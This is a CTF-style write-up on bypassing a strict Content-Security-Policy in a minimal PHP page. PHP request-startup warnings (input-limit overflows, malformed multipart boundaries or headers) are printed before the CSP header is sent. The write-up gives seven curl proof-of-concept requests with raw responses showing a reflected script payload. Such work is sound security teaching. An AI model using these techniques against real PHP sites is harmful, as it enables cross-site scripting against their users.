Table of Contents

  1. The challenge
  2. Solves
    1. POST Content-Length exceeds the limit
    2. Missing boundary in multipart/form-data POST data
    3. Invalid boundary in multipart/form-data POST data
    4. Multipart body parts limit exceeded
    5. Input variables exceeded
    6. Maximum number of allowable file uploads has been exceeded
    7. File Upload Mime headers garbled
    8. Not applicable solutions
  3. Conclusions
  4. Reference

This weekend a friend of mine retweeted a very interesting challenge by @pilvar222.

The challenge

The code is very minimal and it consist of a Dockerfile:

FROM php:apache
COPY index.php /var/www/html

and a PHP source:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

The goal was simple: pop an alert on the domain http://pilv.ar/ (hosting the above code).

Solves

As the CSP was very strict the only way to accomplish was to find a way of breaking the PHP backend code. After some random attempt I noticed that if I modify the code in a way that a Warning was issued before the call to header.

<?php
trigger_error("error", E_USER_WARNING);
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

This message was reported on the page:

Response from local modified instance when triggering an error before the call to the header() function

As you can see the Content-Security-Policy header is not sent anymore. The warning message gets in the PHP buffer before the header could be set, but the payload we sent gets reflected anyway. So if we can trigger a Warning and get a reflection of the payload, we could solve the challenge. I then asked myself: what happens before the first line of code is executed in PHP? And then answered my own question: the superglobal arrays _GET, _POST, _FILES and _COOKIE are initialized.

I’m not a PHP savy so the only way to understand what to do was look at the source code looking for what could go wrong at that stage.

At first I used GitHub source code search function, and get frustrated pretty quickly as I wasn’t able to find what I was looking for. The search function uses symbols and the PHP source code is written in a mix of C and PHP itself, so it wasn’t working at all. I wanted to grep pure text and the only way was to download the entire repo and ripgrep it locally.

Searching for _COOKIE I found that apparently the superglobals arrays are set by the code at php-src/main/php_variables.c:108, in particular an interesting piece of code was:

...
/* do not output the error message to the screen, this helps us to avoid "information disclosure" */
if (!PG(display_errors)) {
	php_error_docref(NULL, E_WARNING, "Input variable nesting level exceeded " ZEND_LONG_FMT ". To increase the limit changemax_input_nesting_level in php.ini.", PG(max_input_nesting_level));
}
...

Apparently, PHP limits the input variable nesting, and the limit is set to 64 by the default php.ini settings:

STD_PHP_INI_ENTRY("max_input_nesting_level", "64", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_nesting_level, php_core_globals, core_globals)

Indeed, visiting the following link causes PHP to generate a warning: http://pilv.ar/?xss[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]=a0

However, in this case, unfortunately, the error is not suitable for solving the challenge, because:

  • PHP does not set the nested variable at all
  • The nature of the warning prevents the payload to be reflected
  • The warning is raised by echo that appears after the header call, so the CSP header is still sent.

I needed something that breaks the superglobal parsing routines.

After digging a little more in the sources, I found the rfc1867.c file, and grepping for WARNING returned the following:

grep "WARNING" ~/repos/php-src/main/rfc1867.c
...
EMIT_WARNING_OR_ERROR("POST Content-Length of " ZEND_LONG_FMT " bytes exceeds the limit of " ZEND_LONG_FMT " bytes", SG(request_info).content_length, post_max_size);
EMIT_WARNING_OR_ERROR("Missing boundary in multipart/form-data POST data");
EMIT_WARNING_OR_ERROR("Invalid boundary in multipart/form-data POST data");
EMIT_WARNING_OR_ERROR("Multipart body parts limit exceeded %d. To increase the limit change max_multipart_body_parts in php.ini.", body_parts_limit);
EMIT_WARNING_OR_ERROR("Input variables exceeded " ZEND_LONG_FMT ". To increase the limit change max_input_vars in php.ini.", max_input_vars);
EMIT_WARNING_OR_ERROR("Maximum number of allowable file uploads has been exceeded");
EMIT_WARNING_OR_ERROR("File Upload Mime headers garbled");
EMIT_WARNING_OR_ERROR("File upload error - unable to create a temporary file");
EMIT_WARNING_OR_ERROR("Uploaded file size 0 - file [%s=%s] not saved", param, filename);
...

And we are done, the latter command conveniently lists multiple solutions to the challenge!

Let’s try them (as some of the payloads would be very large I preferred to do this locally on a dedicated environment to keep the PoCs simple, but you can test the real sized ones on your side if you like).

POST Content-Length exceeds the limit

I cheated a bit for this one, by setting the limit of PHP post_max_size to 1 byte (php -n -dpost_max_size=1 -S 0.0.0.0:1337 index.php). By default the PHP documentation indicates it is 8M.

Command:

curl --path-as-is -i -s -k -X $'POST' \
	-H $'Content-Type: multipart/form-data; boundary=-' -H $'Content-Length: 2' \
	--data-binary $'\x0d\x0a' \
	$'http://localhost:1337/?xss=<script>alert()</script>'

Request:

POST /?xss=<script>alert()</script> HTTP/1.1
Content-Type: multipart/form-data; boundary=-
Content-Length: 2

Response:

HTTP/1.1 200 OK
Host: localhost:1337
Date: Mon, 29 Apr 2024 14:24:02 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Content-type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  POST Content-Length of 2 bytes exceeds the limit of 1 bytes in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/home/damned-me/pilvar/src/index.php</b> on line <b>2</b><br />
<script>alert()</script>

Missing boundary in multipart/form-data POST data

Command:

curl --path-as-is -i -s -k -X $'POST' \
	-H $'Content-Type: multipart/form-data;' \
	$'http://localhost:1337/?xss=<script>alert()</script>'

Request:

POST /?xss=<script>alert()</script> HTTP/1.1
Content-Type: multipart/form-data;

Response:

HTTP/1.1 200 OK
Host: localhost:1337
Date: Mon, 29 Apr 2024 14:02:26 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Content-type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  Missing boundary in multipart/form-data POST data in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/home/damned-me/pilvar/src/index.php</b> on line <b>2</b><br />
<script>alert()</script>

Invalid boundary in multipart/form-data POST data

Command:

curl --path-as-is -i -s -k -X $'POST' \
	-H $'Content-Type: multipart/form-data; boundary=\"' \
	$'http://localhost:1337/?xss=<script>alert()</script>'

Request:

POST /?xss=<script>alert()</script> HTTP/1.1
Content-Type: multipart/form-data; boundary="

Response:

HTTP/1.1 200 OK
Host: localhost:1337
Date: Mon, 29 Apr 2024 14:08:54 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Content-type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  Invalid boundary in multipart/form-data POST data in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/home/damned-me/pilvar/src/index.php</b> on line <b>2</b><br />
<script>alert()</script>

Multipart body parts limit exceeded

Here I cheated again, by setting max_multipart_body_part to 1 (php -n -dmax_multipart_body_parts=1 -S 0.0.0.0:1337 index.php). In the php.ini-production and php.ini-development files the default is 1500.

Command:

curl --path-as-is -i -s -k -X $'POST' \
	-H $'Content-Type: multipart/form-data; boundary=-' -H $'Content-Length: 105' \
	--data-binary $'---\x0d\x0aContent-Disposition: form-data; name=\"a\"\x0d\x0a\x0d\x0a\x0d\x0a---\x0d\x0aContent-Disposition: form-data; name=\"b\"\x0d\x0a\x0d\x0a\x0d\x0a---' \
	$'http://localhost:1337/?xss=<script>alert()</script>'

Request:

POST /?xss=<script>alert()</script> HTTP/1.1
Content-Type: multipart/form-data; boundary=-
Content-Length: 105

---
Content-Disposition: form-data; name="a"


---
Content-Disposition: form-data; name="b"


---

Response:

HTTP/1.1 200 OK
Host: localhost:1337
Date: Mon, 29 Apr 2024 14:34:18 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Content-type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  PHP Request Startup: Multipart body parts limit exceeded 1. To increase the limit change max_multipart_body_parts in php.ini. in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/home/damned-me/pilvar/src/index.php</b> on line <b>2</b><br />
<script>alert()</script>

Input variables exceeded

This was also my submitted solution, so I’ll append a screenshot of the exploit working on the original challenge website (PoC).

Submitted solution by damned-me

On my local environment this is as follows (php -n -dmax_input_vars=1 -S 0.0.0.0:1337 index.php). PHP sets max_input_vars to 1000 by default.

Command:

curl --path-as-is -i -s -k -X $'GET' \
	$'http://localhost:1337/?xss=<script>alert()</script>&a'

Request:

GET /?xss=<script>alert()</script>&a HTTP/1.1

Response:

HTTP/1.1 200 OK
Host: localhost:1337
Date: Mon, 29 Apr 2024 14:32:14 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Content-type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  PHP Request Startup: Input variables exceeded 1. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/home/damned-me/pilvar/src/index.php</b> on line <b>2</b><br />
<script>alert()</script>

Maximum number of allowable file uploads has been exceeded

For this I tweaked the PHP init vars again, and sent multiple files in a single request, exceeding the limit of the preprocessor (php -n -dmax_file_uploads=1 -S 0.0.0.0:1337 index.php). The default limit indicated by the PHP documentation is 20.

Command:

curl --path-as-is -i -s -k -X $'POST' \
	-H $'Content-Type: multipart/form-data; boundary=-' -H $'Content-Length: 185' \
	--data-binary $'---\x0d\x0aContent-Disposition: form-data; name=\"1\"; filename=\"1\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0a\x0d\x0a---\x0d\x0aContent-Disposition: form-data; name=\"2\"; filename=\"2\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0a\x0d\x0a---' \
	$'http://localhost:1337/?xss=<script>alert()</script>&a'

Request:

POST /?xss=<script>alert()</script>&a HTTP/1.1
Content-Type: multipart/form-data; boundary=-
Content-Length: 185

---
Content-Disposition: form-data; name="1"; filename="1"
Content-Type: text/plain


---
Content-Disposition: form-data; name="2"; filename="2"
Content-Type: text/plain


---

Response:

HTTP/1.1 200 OK
Host: localhost:1337
Date: Mon, 29 Apr 2024 14:49:27 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Content-type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  Maximum number of allowable file uploads has been exceeded in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/home/damned-me/pilvar/src/index.php</b> on line <b>2</b><br />
<script>alert()</script>

File Upload Mime headers garbled

At first, I didn’t understand with just the code what this error meant

...
/* Return with an error if the posted data is garbled */
if (!param && !filename) {
	EMIT_WARNING_OR_ERROR("File Upload Mime headers garbled");
	goto fileupload_done;
}
...

So, to avoid reading the whole file, I’ve just took a look at the relative unit-test and I finally understood that by removing file, name and Content-Type form the multipart segment the Warning is triggered:

Command:

curl --path-as-is -i -s -k -X $'POST' \
	-H $'Content-Type: multipart/form-data; boundary=-' -H $'Content-Length: 44' \
	--data-binary $'---\x0d\x0aContent-Disposition: form-data\x0d\x0a\x0d\x0a\x0d\x0a---' \
	$'http://localhost:1337/?xss=<script>alert()</script>'

Request:

POST /?xss=<script>alert()</script> HTTP/1.1
Content-Type: multipart/form-data; boundary=-
Content-Length: 44

---
Content-Disposition: form-data


---

Response:

HTTP/1.1 200 OK
Host: localhost:1337
Date: Mon, 29 Apr 2024 15:37:55 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Content-type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  File Upload Mime headers garbled in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent in <b>/home/damned-me/pilvar/src/index.php</b> on line <b>2</b><br />
<script>alert()</script>

Not applicable solutions

About the last two warning, as far I have understood, I’d say they are not applicable for the following reasons:

  • File upload error - unable to create a temporary file: This depends on server-side disk space and we have no way of filling up the disk space from the client (at least in this challenge setup).
  • Uploaded file size 0: There is no way that I’m aware of to trigger a 0 length file upload Warning with the current setup. Even sending an empty frame does not result in any backend malfunction. So after a while I give up on this, as I was already satisfied with the 7 presented solutions. If some of you know a way to exploit this, please, let me know!

Conclusions

This is a remarkable example of the security implications of a production environment with developer mode enabled, the insecure-by-design issues that arise with minimal or naive installations, and the potential flaws present not only in code explicitly produced by developers but also in implicit language mechanics, which allow a seemingly bulletproof and elementary code, to be vulnerable to a complete bypass of the rules specified by the programmer.

References